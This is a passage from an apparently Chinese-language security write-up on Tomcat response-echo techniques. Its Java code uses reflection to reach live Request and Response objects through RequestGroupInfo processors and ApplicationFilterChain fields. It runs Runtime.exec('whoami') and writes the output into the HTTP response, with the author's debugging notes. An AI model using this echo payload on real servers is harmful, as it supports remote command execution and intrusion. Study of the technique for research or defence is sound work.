org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));
Field processors = Class.forName(“org.apache.coyote.RequestGroupInfo”).getDeclaredField(“processors”);
processors.setAccessible(true);
java.util.List RequestInfo_list = (java.util.List) processors.get(requestGroupInfo);
Field req = Class.forName(“org.apache.coyote.RequestInfo”).getDeclaredField(“req”);
req.setAccessible(true);
for (RequestInfo requestInfo : RequestInfo_list) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);
org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);
org.apache.catalina.connector.Response response2 = request2.getResponse();
response2.getWriter().write(“111”);
InputStream whoami = Runtime.getRuntime().exec(“whoami”).getInputStream();
// BufferedInputStream bufferedInputStream = new BufferedInputStream(whoami);
BufferedInputStream bis = new BufferedInputStream(whoami);
int b ;
while ((b = bis.read())!=-1){
response2.getWriter().write(b);
}
}
}
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
将命令执行结果使用获取到的Request和Response来输出。
================================================================
-
开始想直接获取内部类发现思路不通,后来采用getDeclaredClasses方法获取某类中所有内部的内部类遍历,判断类名传递定位到该类。
-
获取global遍历的时候出现了巨坑,直接反射去获取。但是未意识到创建是一个class对象,反射使用get方法必须传递实例。
-
获取到Request需要调用request.getNote(1);转换为org.apache.catalina.connector.Request的对象。
-
fanal修饰变量,需做修改,直接获取报错。
通过调用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 来获取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 对象
文章链接
============================================================================
基于Tomcat中一种半通用回显方法该篇文来调试一下。
根据前文思路顺着堆栈一路向下查看Request和Response存储位置,只要获取到一个实例即可。
顺着思路,在
org.apache.catalina.core.ApplicationFilterChain位置发现符合条件的变量。
下面寻找赋值位置,发现在这个位置对request,response进行实例的存储。但是默认为False
思路如下:
1、反射修改
ApplicationDispatcher.WRAP_SAME_OBJECT,让代码逻辑走到if条件里面
2、初始化lastServicedRequest和lastServicedResponse两个变量,默认为null
3、从lastServicedResponse中获取当前请求response,并且回显内容。
自己尝试构造了一下
package com;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
@WebServlet("/testServlet")
public class testServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
Field wrap_same_object = Class.forName(“org.apache.catalina.core.ApplicationDispatcher”).getDeclaredField(“WRAP_SAME_OBJECT”);
Field lastServicedRequest = Class.forName(“org.apache.catalina.core.ApplicationFilterChain”).getDeclaredField(“lastServicedRequest”);
Field lastServicedResponse = Class.forName(“org.apache.catalina.core.ApplicationFilterChain”).getDeclaredField(“lastServicedResponse”)